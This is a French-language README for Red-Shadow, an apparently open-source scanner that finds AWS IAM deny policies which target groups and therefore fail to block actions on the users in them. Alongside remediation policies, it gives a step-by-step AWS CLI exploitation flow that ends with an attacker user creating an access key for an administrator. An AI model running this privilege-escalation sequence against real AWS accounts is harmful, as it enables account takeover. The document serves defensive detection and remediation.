Analyse les configurations IAM AWS à la recherche d'administrateurs fantômes en détectant les politiques de refus mal configurées qui ne parviennent pas à restreindre les actions des utilisateurs sur les groupes, permettant ainsi la détection et la correction des élévations de privilèges.
Analysez votre configuration AWS IAM à la recherche d'administrateurs fantômes dans AWS IAM basés sur des politiques de refus mal configurées n'affectant pas les utilisateurs dans les groupes, découvertes par l'équipe de recherche en sécurité de Lightspin.
L'outil détecte les mauvaises configurations dans les objets IAM suivants :
Stratégies gérées
Stratégies intégrées aux utilisateurs
Stratégies intégrées aux groupes
Stratégies intégrées aux rôles
La logique d'évaluation d'AWS IAM pour les politiques de refus appliquées aux groupes ne fonctionne pas de la même manière que la plupart des ingénieurs en sécurité peuvent en avoir l'habitude avec d'autres mécanismes d'autorisation.
Supposons qu'une politique avec une ressource de groupe ait un refus explicite. Dans ce cas, cela n'affectera que les actions de groupe et non les actions des utilisateurs, exposant les organisations à des erreurs de configuration et des vulnérabilités si elles supposent que le processus est le même qu'avec Active Directory, par exemple.
Exemple de politique json vulnérable :
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
Dans cet exemple, la politique devrait refuser toute action iam effectuée par les utilisateurs, groupes ou rôles auxquels cette politique est attachée, envers le groupe appelé managers.
En réalité, une simple action IAM comme iam:ChangePassword fonctionnerait car la politique de refus est inefficace.
Lien vers le blog complet de recherche en sécurité
AWS IAM a une séparation claire entre les actions des objets utilisateur et les actions des objets groupe.
La liste suivante comprend les actions des objets utilisateur que l'outil analyse sur les politiques de refus affectant les groupes (en plus du wildcard) :
AWS_USER_ACTIONS = ["iam:CreateUser",
"iam:GetUser",
"iam:UpdateUser",
"iam:DeleteUser",
"iam:GetUserPolicy",
"iam:PutUserPolicy",
"iam:DeleteUserPolicy",
"iam:ListUserPolicies",
"iam:AttachUserPolicy",
"iam:DetachUserPolicy",
"iam:ListAttachedUserPolicies",
"iam:SimulatePrincipalPolicy",
"iam:GetContextKeysForPrincipalPolicy",
"iam:TagUser",
"iam:UpdateSSHPublicKey",
"iam:UntagUser",
"iam:GetSSHPublicKey",
"iam:ListUserTags",
"iam:DeleteSSHPublicKey",
"iam:GetLoginProfile",
"iam:GetAccessKeyLastUsed",
"iam:UpdateLoginProfile",
"iam:UploadSigningCertificate",
"iam:DeleteLoginProfile",
"iam:ListSigningCertificates",
"iam:CreateLoginProfile",
"iam:UpdateSigningCertificate",
"iam:EnableMFADevice",
"iam:DeleteSigningCertificate",
"iam:ResyncMFADevice",
"iam:ListServiceSpecificCredentials",
"iam:ListMFADevices",
"iam:ResetServiceSpecificCredential",
"iam:DeactivateMFADevice",
"iam:CreateServiceSpecificCredential",
"iam:ChangePassword",
"iam:UpdateServiceSpecificCredential",
"iam:CreateAccessKey",
"iam:DeleteServiceSpecificCredential",
"iam:ListAccessKeys",
"iam:PutUserPermissionsBoundary",
"iam:UpdateAccessKey",
"iam:DeleteUserPermissionsBoundary",
"iam:DeleteAccessKey",
"iam:ListGroupsForUser",
"iam:ListSSHPublicKeys",
"iam:UploadSSHPublicKey"]
Nombre des actions des objets utilisateur mentionnées ci-dessus peuvent facilement conduire à une escalade de privilèges ou compromettre le compte, comme réinitialiser le mot de passe de l'administrateur, désactiver le MFA du compte racine, etc.
Red-Shadow est construit avec Python 3 et Boto3.
L'outil nécessite :
sudo git clone https://github.com/lightspin-tech/red-shadow.git
cd red-shadow
pip3 install -r requirements.txt
python3 red-shadow.py
Les résultats découvrent tout objet IAM vulnérable à ce contournement d'autorisation dans AWS.
Exemple de sortie des résultats :
++ Starting Red-Shadow ++
++ AWS IAM Vulnerability Scanner
++ Red Shadow scans for shadow admins in AWS IAM based on misconfigured deny policies not affecting users in groups
Step 1: Searching for IAM Group misconfigurations in managed policies
Found potential misconfiguration at arn:aws:iam::123456789999:policy/ProtectManagers
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 2: Searching for IAM Group misconfigurations in Users inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 3: Searching for IAM Group misconfigurations in Groups inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 4: Searching for IAM Group misconfigurations in Roles inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Done
Dans cette sortie console, nous pouvons voir que notre politique de refus ProtectManagers est inefficace et vulnérable à des attaques telles que l'escalade de privilèges mentionnée ci-dessus.
Pour valider la vulnérabilité IAM et exécuter l'exploitation, vous pouvez suivre le flux suivant :
aws iam create-group --group-name managersaws iam attach-group-policy --group-name managers --policy-arn arn:aws:iam::aws:policy/AdministratorAccessaws iam create-user --user-name JohnAdminaws iam add-user-to-group --user-name JohnAdmin --group-name managers{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
aws iam create-policy --policy-name ProtectManagers --policy-document file://policy.jsonaws iam create-group --group-name backend-devaws iam create-user --user-name BobAttackeraws iam add-user-to-group --user-name BobAttacker --group-name backend-devaws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/ProtectManagers{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "iam:CreateAccessKey",
"Resource": "*"
}
]
}
aws iam create-policy --policy-name devCreateAccessKeys --policy-document file://policy_iam.jsonaws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/devCreateAccessKeysaws iam list-attached-group-policies --group backend-devaws iam create-access-key --user-name BobAttackerExploitons la vulnérabilité en utilisant :
aws iam create-access-key --user-name JohnAdmin --profile BobAttacker
Escalade de privilèges terminée !
Une fois que vous avez trouvé les politiques vulnérables au contournement d'autorisation, il existe deux façons possibles de remédier à la vulnérabilité et de corriger la politique :
OPTION 1 : Définissez tous les utilisateurs concernés dans le champ resource au lieu des groupes pour éviter les actions iam inefficaces, et refusez toutes les actions de groupe, comme dans l'exemple suivant :
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenySpecificUserActions",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": [
"arn:aws:iam::123456789999:user/[email protected]",
"arn:aws:iam::123456789999:user/[email protected]",
"arn:aws:iam::123456789999:user/[email protected]"
]
},
{
"Sid": "DenyAllGroupActions",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
OPTION 2 : Utilisez une condition dans la politique avec iam:ResourceTag en place comme dans l'exemple suivant :
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": "*",
"Condition": {
"ForAnyValue:StringEquals": {
"iam:ResourceTag/group": "managers"
}
}
}
]
}
Cette recherche a été menée par l'équipe de recherche en sécurité de Lightspin. Pour plus d'informations, contactez-nous à [email protected].
Ce dépôt est disponible sous la Licence Apache 2.0.